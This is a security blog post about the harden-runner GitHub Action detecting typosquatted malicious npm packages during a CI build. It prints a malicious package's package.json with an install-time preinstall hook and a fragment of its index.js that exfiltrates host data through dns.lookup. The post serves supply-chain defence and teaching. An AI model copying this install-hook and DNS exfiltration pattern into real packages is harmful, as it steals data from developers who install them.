Detecting malware packages in GitHub Actions

Varun Sharma
InfoSec Write-ups
Published in
3 min readMar 31, 2022

--

step-security/harden-runner GitHub Action installs a security agent on the GitHub-hosted runner (Ubuntu VM) to monitor the build process. The agent monitors process, file, and network activity for each step, and can be used to restrict outbound network calls to allowed endpoints.

Recently several malicious packages were published to the NPM Registry. In this blog post I will show you the behavior of these packages when looked through the monitoring lens of harden-runner.

To analyze their behavior, two of the malicious packages were added as dependencies to the package.json file. In a real scenario, a developer may inadvertently use these malicious packages in their application, when they intended to use a different package. This is called package typosquatting. e.g. core-client-rest, a malicious package has a name similar to @azure/core-client which is a legitimate package.

{
"name": "npmtest",
"version": "1.0.0",
"description": "",
"main": "test.js",
"dependencies": {
"core-client-rest": "99.10.9",
"dazaar-cli": "99.10.9"

}
}

A GitHub Actions workflow was setup with step-security/harden-runner as the first step. harden-runner is configured to only allow outbound calls to github.com (to download the code) and registry.npmjs.org (to download the dependencies). The workflow then runs npm install in the last step. You can use harden-runner in this way to perform behavior analysis and detect malicious dependencies in your workflows.

name: npm_ci
on: [push, pull_request, workflow_dispatch]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v1
with:
egress-policy: block
allowed-endpoints: >
github.com:443
registry.npmjs.org:443

- uses: actions/checkout@v2
- uses: actions/setup-node@v1
with:
node-version: "16"
- run: npm install

Under normal conditions, outbound calls would only be expected to the allowed endpoints. In this case though, additional outbound calls were made, detected, and blocked. Had harden-runner not been used, the malware would have exfiltrated sensitive data successfully. However, harden-runner prevented this from happening and caught the malware. You can see the actual GitHub Actions workflow where this was run here.

step-security/harden-runner GitHub Action detected and blocked outbound calls from malicious packages

These outbound calls are made because the malicious packages are running a preinstall step, which is executing JavaScript code to make outbound calls. This is the package.json for one the malicious packages. It has a preinstall step that runs index.js.

{
"name": "core-client-rest",
"version": "99.10.9",
"description": "azbit package",
"main":"index.js",
"scripts":{
"test":"echo 'error no test specified' && exit 1",
"preinstall":"node index.js"
},
"author":"",
"License":"ISC"
}

What is interesting is that the first call to the very long domain is a DNS exfiltration call. This code in the index.js file of the malicious package uses dns.lookup to exfiltrate data. DNS exfiltration is a common technique to avoid detection.

var qs = toName(td);if(isValid(td.hn,td.c,td.un,td.dirs)){for(var j=0;j<qs.length;j++){dns.lookup(qs[j], function(err, result) {//console.log(result)});}

step-security/harden-runner GitHub Action can detect DNS exfiltration attempts in addition to traffic sent via to TCP/ UDP. The agent runs a DNS proxy on the ephemeral VM to monitor and block DNS traffic. This is how the DNS exfiltration attempt was blocked and why the annotation says “DNS resolution for domain was blocked

You can try out these steps using a hands-on tutorial in SupplyChainGoat for Behavioral analysis of dependencies. SupplyChainGoat has hands-on tutorials to learn about software supply chain security. Instead of using actual malicious packages, which have now been removed from the NPM Registry, the tutorial uses a malware simulator package.

If you have any questions or feedback, please reach out using https://www.stepsecurity.io

--

--